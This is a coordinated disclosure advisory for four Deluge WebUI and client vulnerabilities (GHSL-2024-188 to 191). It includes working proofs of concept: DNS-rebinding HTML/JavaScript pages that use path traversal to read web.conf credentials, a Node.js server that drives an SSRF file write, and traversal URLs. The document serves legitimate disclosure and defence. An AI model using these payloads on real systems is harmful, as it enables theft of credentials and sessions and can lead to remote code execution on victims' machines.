Coordinated Disclosure Timeline

Summary

Deluge BitTorrent client supports running two services in background: daemon and WebUI. The other way to run the WebUI service is by enabling the WebUI plugin (installed, but disabled by default) in the preferences dialog of the Deluge client. The WebUI component of Deluge is vulnerable to SSRF, unauthenticated arbitrary file read and limited file write. The client side is vulnerable to software update spoofing.

Project

Deluge

Tested Version

v2.1.1

Details

Issue 1: Unauthenticated file read in /js may lead to RCE (GHSL-2024-188)

The /js endpoint of the WebUI component doesn’t require authentication since its purpose is to serve JavaScript files for UI. The request.lookup_path is validated to start with a known keyword [1], but it is easily bypassed with /js/known_keyword/../... The path traversal happens in [2] when the path is concatenated and later [3] used to read a file. The only limitation is the mimetypes.guess_type call at [4], because, in case it returns a mime type None, request.setHeader at [5] throws an exception.

    def render(self, request):
        log.debug('Requested path: %s', request.lookup_path)
        lookup_path = request.lookup_path.decode()
        for script_type in ('dev', 'debug', 'normal'):
            scripts = self.__scripts[script_type]['scripts']
            for pattern in scripts:
                if not lookup_path.startswith(pattern): # <------------------ [1]
                    continue

                filepath = scripts[pattern]
                if isinstance(filepath, tuple):
                    filepath = filepath[0]

                path = filepath + lookup_path[len(pattern) :] # <------------------ [2]

                if not os.path.isfile(path):
                    continue

                log.debug('Serving path: %s', path)
                mime_type = mimetypes.guess_type(path) # <------------------ [4]

                request.setHeader(b'content-type', mime_type[0].encode()) # <------------------ [5]
                with open(path, 'rb') as _file: # <------------------ [3]
                    data = _file.read()
                return data

Impact

The path traversal allows for unauthenticated read of any OS file if only its MIME type is recognized.

Even if attackers constrain themselves to Deluge only, Deluge uses files with .conf extension to store configuration settings with sensitive information. This extension is identified as text/plain by mimetypes.guess_type. A request to /js/deluge-all%2F..%2F..%2F..%2F..%2F..%2F..%2F.config%2Fdeluge%2Fweb.conf, for example, will return such information as WebUI admin password SHA1 with salt and a list of sessions. The sessions are written to the file only on service shutdown and after the default 1 hour expiration are not updated, but with some luck attackers may find a valid session there to authenticate themselves to the service. Otherwise they will need to brute force the password hash. Since Deluge doesn’t use a slow password hashing algorithm, they can do it very quickly for simple or short passwords.

If Deluge WebUI is hosted externally the exploitation is straightforward. However, even if the service is accessible only locally, since it is unauthenticated endpoint, attackers may use a DNS rebinding attack to access the service from a specially crafted web site. Since browsers implemented RFC1918 it works only on Linux and MacOS when attackers use 0.0.0.0 address to access the local service.

Once attackers have an authenticated session, they the can use the exploitation technique from CVE-2017-7178 to download, install and run a malicious plugin on the vulnerable machine by using the /json endpoint Web API.

PoC

The PoC is a slightly modified version of Tavis Ormandy’s PoC for Blizzard Update Agent.

  1. Host the index.html and attack_deluge.html somewhere at same port as victim’s Deluge WebUI instance (8112 by default).
  2. Run WebUI locally.
  3. Open the index.html in a browser on Linux or MacOS.
  4. Modify HostB to the IP of the attacker’s server.
  5. Click Start Attack.

You may need to wait for few minutes. This is not an obstacle for attackers, since the attack would be performed in a background in an IFrame. You will see a success message box after some time and the content of the web.conf after clicking OK.

index.html:

<html>
<head>
    <title>deluge DNS Rebinding Testcase</title>
    <script>
    var timerA;
    var timerB;
    var count = 0;

    function convert_dotted_quad(addr)
    {
        return addr.split('.')
            .map(function (a) { return Number(a).toString(16) })
            .map(function (a) { return a.length < 2 ? "0" + a : a })
            .join('');
    }

    window.addEventListener("message", function (msg) {
        console.log("message received from", msg.origin, msg.data.status);

        if (msg.data.status == "start") {
            console.log("iframe reports that attack has started");
            if (msg.origin == document.getElementById("attackA").src.substr(0, msg.origin.length))
                clearInterval(timerA);
            if (msg.origin == document.getElementById("attackB").src.substr(0, msg.origin.length))
                clearInterval(timerB);
            msg.source.postMessage({cmd: "interval", param: document.getElementById("interval").value}, "*");
            msg.source.postMessage({cmd: "start", param: null}, "*");
        }
        if (msg.data.status == "pwned") {
            console.log("iframe reports that settings have been changed", msg.data.response);

            attackA.contentWindow.postMessage({cmd: "stop"}, "*");
            attackB.contentWindow.postMessage({cmd: "stop"}, "*");
            clearInterval(timerA);
            clearInterval(timerB);

	    var f = document.getElementById("final");
	    f.textContent = msg.data.response;
	    f.style.color= "red";
            alert("Attack Successful!");

        }
    });

    function reloadFrameA()
    {
        document.getElementById("attackA").src = document.getElementById("hosturl").value
            .replace("%1", convert_dotted_quad(document.getElementById("hostA").value))
            .replace("%2", convert_dotted_quad(document.getElementById("hostB").value))
            + "?rnd=" + Math.random();
    }

    function reloadFrameB()
    {
        document.getElementById("attackB").src = document.getElementById("hosturl").value
            .replace("%1", convert_dotted_quad(document.getElementById("hostB").value))
            .replace("%2", convert_dotted_quad(document.getElementById("hostA").value))
            + "?rnd=" + Math.random();
    }

    function begin()
    {
        message.style.display = "inline";
        start.disabled = true;
        timerA = setInterval(reloadFrameA, parseInt(document.getElementById("interval").value) * 1000);
        timerB = setInterval(reloadFrameB, parseInt(document.getElementById("interval").value) * 1000);
        reloadFrameA();
        reloadFrameB();
    }

    function forceCacheEviction()
    {
        for (i = 0; i < 1000; i++) {
            x = document.createElement("img");
            x.src = document.getElementById("hosturl").value
                .replace("%1", Number(0x7f000001).toString(16))
                .replace("%2", Number(0x7f000001 + i).toString(16));
            x.onerror = function () {
                document.body.removeChild(this);
            }
            document.body.appendChild(x);
        }
    }
    </script>
</head>
<body>
<h3>deluge DNS Rebinding Testcase</h3>
<p>
Use <a href="https://lock.cmpxchg8b.com/rebinder.html">this</a> calculator to find rbndr hostnames.
</p>
<p>
Note that this attack can take up to five minutes to work, this would be happening while you read a website in the background and you would see nothing on the screen.
<br>
This could be sped up with more frames (as you can see, this demo only uses two). Open the console (F12) to see debugging data.
</p>
<table>
<tr>
    <td>Rebinding Host URL</td>
    <td>
        <input id=hosturl value="http://%1.%2.rbndr.us:8112/attack_deluge.html" size=64>
    </td>
</tr>
<tr>
    <td>Rebinding Host A (deluge local)</td>
    <td>
        <input id=hostA value="0.0.0.0" size=64>
    </td>
</tr>
<tr>
    <td>Rebinding Host B (Attack Server)</td>
    <td>
        <input id=hostB value="" size=64>
    </td>
</tr>
<tr>
    <td>How long to wait between attempts (seconds, 20 works best for chrome)</td>
    <td>
        <input id=interval value="20" size=64>
    </td>
</tr>
</table>
<p>
<input onclick="begin()" id=start type=submit value="Start Attack">&nbsp;
<input onclick="forceCacheEviction()" id=evict type=submit value="Force Cache Eviction" title="Try this if the attack is taking too long">
</p>
<p>
<div id=message style="display:none">
Please wait up to five minutes (Press F12 to see debug messages)... (We're waiting for DNS cache entries to expire).
</div>
<pre id=final>[ RESULT WILL SHOW HERE ]</pre>
</p>
<iframe id=attackA src="about:blank" height=128 width=50%></iframe>
<iframe id=attackB src="about:blank" height=128 width=50%></iframe>
</body>
</html>

attack_deluge.html:

<html>
<head>
<script>

var timer;
var frame;
var xhr;
var interval = 60000;

function sendRpc()
{
    xhr = new XMLHttpRequest();
    xhr.open("GET", "/js/deluge-all/..%2F..%2F..%2F..%2F..%2F..%2F.config%2Fdeluge%2Fweb.conf", false);

    try {
        xhr.send();
    } catch(e) {
        console.log("failed to send xhr");
	console.log(e);
    }

    if (xhr.status == 404) {
        console.log("frame", window.location.hostname, "has not updated dns yet, waiting", interval, "milliseconds");
        return;
    }

    console.log("attack frame", window.location.hostname, "received xhr response", xhr.status);

    if (xhr.status == 200) {
        clearInterval(timer);
        window.parent.postMessage({status: "pwned", response: xhr.responseText}, "*");
    }
}

function begin()
{
    // Notify the parent that we're loaded.
    window.parent.postMessage({status: "start"}, "*");
}

window.addEventListener("message", function (e) {
    console.log("attack frame", window.location.hostname, "received message", e.data.cmd);

    switch (e.data.cmd) {
        case "interval":
            interval = parseInt(e.data.param) * 1000;
            break;
        case "stop":
            clearInterval(timer);
            break;
        case "start":
            timer = setInterval(sendRpc, interval);
            console.log("frame", window.location.hostname, "waiting", interval, "milliseconds for dns update");
            break;
    }
});

</script>
</head>
<body onload="begin()">
<p>
    <h3>deluge DNS Rebinding Vulnerability</h3>
</p>
<p>
    This page is waiting for a dns update, and will then contact deluge.
</p>
</body>

Issue 2: New version check over unencrypted channel (GHSL-2024-189)

On startup and every three days Deluge client checks for update availability by sending plain http:// request [1].

    def get_new_release(self):
        log.debug('get_new_release')
        try:
            self.new_release = (
                urlopen('http://download.deluge-torrent.org/version-2.0')  <------------------ [1]
                .read()
                .decode()
                .strip()
            )
        except URLError as ex:
            log.debug('Unable to get release info from website: %s', ex)
        else:
            self.check_new_release()

If the update is available, GTK based client shows a dialog with the information that a new version is available and a button “Goto Website”. If the user clicks on the button a default browser opens http://deluge-torrent.org site again over unencrypted connection [2].

    def _on_button_goto_downloads(self, widget):
        deluge.common.open_url_in_browser('http://deluge-torrent.org') <------------------ [2]
        self.config['show_new_releases'] = not self.chk_not_show_dialog.get_active()
        self.dialog.destroy()

In a normal flow the server responds with redirect to the HTTPS version of the site. However deluge-torrent.org doesn’t use HSTS and browser doesn’t enforce the encrypted connection. If attackers are able intercept both requests, they can spoof that a new version is available and either:

Impact

This issue may allow attackers to trick the user installing malware.

Issue 3: SSRF with information leak and limited unauthenticated file write (GHSL-2024-190)

The /tracker endpoint of the WebUI component doesn’t require authentication. The request path is used as an URL address to download a html page [1] and [2]. It results in SSRF GET request to the attackers’ controlled site.

    def getChild(self, path, request):  # NOQA: N802
        request.tracker_name = path # <------------------ [1]
        return self
...
    def render(self, request):
        d = self.tracker_icons.fetch(request.tracker_name.decode()) # <------------------ [2]
        d.addCallback(self.on_got_icon, request)
        return server.NOT_DONE_YET

The downloaded html page is parsed and the information from link tags is extracted and used to download icon files. The local path used to download the attacker controlled is concatenated in unsafe manner at [3], but the limiting factor is that mimetype_to_extension at [4] throws an exception if it doesn’t match a predefined list of extensions. Note that the icon validation at [5] doesn’t protect from the file write, because it throws and exception if the file is not an image, but the file write already happened.

def host_to_icon_name(host, mimetype):
    return host + '.' + mimetype_to_extension(mimetype) <------------------ [4]

def download_icon(self, icons, host):
        if len(icons) == 0:
            raise NoIconsError('empty icons list')
        (url, mimetype) = icons.pop(0)
        d = download_file(
            url,
            os.path.join(self.dir, host_to_icon_name(host, mimetype)), <------------------ [3]
            force_filename=True,
        )
        d.addCallback(self.check_icon_is_valid) <------------------ [5]
        if icons:
            d.addErrback(self.on_download_icon_fail, host, icons)
        return d

Impact

Since the icon downloader adds Deluge version to the User-Agent header of the GET request it allows for an information leak about the used Deluge version. This can be useful for attackers when the server is exposed or with DNS rebinding. Arbitrary path file write works only on Windows because for a request /tracker/attacker.com%3a8000%2f..%2f..%2ftest it tries to write to the path /home/user/.config/deluge/icons/attacker.com/../../icon.png and it doesn’t work on Linux. Also it is limited to files with image extensions.

PoC

For the PoC:

  1. Create an arbitrary file poc.bin in the same directory as poc.js.
  2. Run node poc.js in the directory.
  3. Run Deluge WebUI on Windows.
  4. Open http://localhost:8112/tracker/127.0.0.1%3a8000%2f..%2f..%2ftest
  5. A file named test.png is created one directory above the intended icons directory.
  6. The console window where node poc.js is running contains Deluge version in User-Agent header.

poc.js:

const http = require("http");
const fs = require('fs');
const path = require('path')

const host = '0.0.0.0';
const port = 8000;

const requestListener = function (req, res) {
	console.log(req.url);
	console.log(req.headers);

	if (req.url.includes('stage2')) {
		res.setHeader("Content-Type", "application/octet-stream");
		res.setHeader("Content-Disposition", 'attachment; filename="poc.bin"');
		res.writeHead(200);

		const filePath = path.join(__dirname, 'poc.bin');
		fs.readFile(filePath, (err, data) => {
			if (err) {
				res.writeHead(500, { 'Content-Type': 'text/plain' });
				res.end('Error reading file');
				console.error(err);
				return;
			}
			res.end(data);
		});
	}
	else {
		res.setHeader("Content-Type", "text/html");
		res.writeHead(200);
		res.end('<link rel="icon" type="image/png" href="stage2"/>');
	}
};

const server = http.createServer(requestListener);
server.listen(port, host, () => {
    console.log(`Server is running on http://${host}:${port}`);
});

Issue 4: Limited unauthenticated file read in /flag (GHSL-2024-191)

The /flag endpoint of the WebUI component doesn’t require authentication. The request path [1] is used to build a path at [2] and [3] to read and serve a file [4].

class Flag(resource.Resource):
    def getChild(self, path, request):  # NOQA: N802
        request.country = path <------------------ [1]
        return self

    def render(self, request):
        flag = request.country.decode().lower() + '.png' <------------------ [2]
        path = ('ui', 'data', 'pixmaps', 'flags', flag)
        filename = common.resource_filename('deluge', os.path.join(*path)) <------------------ [3]
        if os.path.exists(filename):
            request.setHeader(
                b'cache-control', b'public, must-revalidate, max-age=86400'
            )
            request.setHeader(b'content-type', b'image/png')
            with open(filename, 'rb') as _file: <------------------ [4]
                data = _file.read()
            request.setResponseCode(http.OK)
            return data
        else:
            request.setResponseCode(http.NOT_FOUND)
            return ''

Impact

This issue allows for reading arbitrary OS files but is limited to PNG files only.

PoC

For the PoC open http://localhost:8112/flag/..%2fflags%2flt.

CVE

Credit

These issues were discovered and reported by GHSL team member @JarLob (Jaroslav Lobačevski).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2024-188, GHSL-2024-189, GHSL-2024-190, or GHSL-2024-191 in any communication regarding these issues.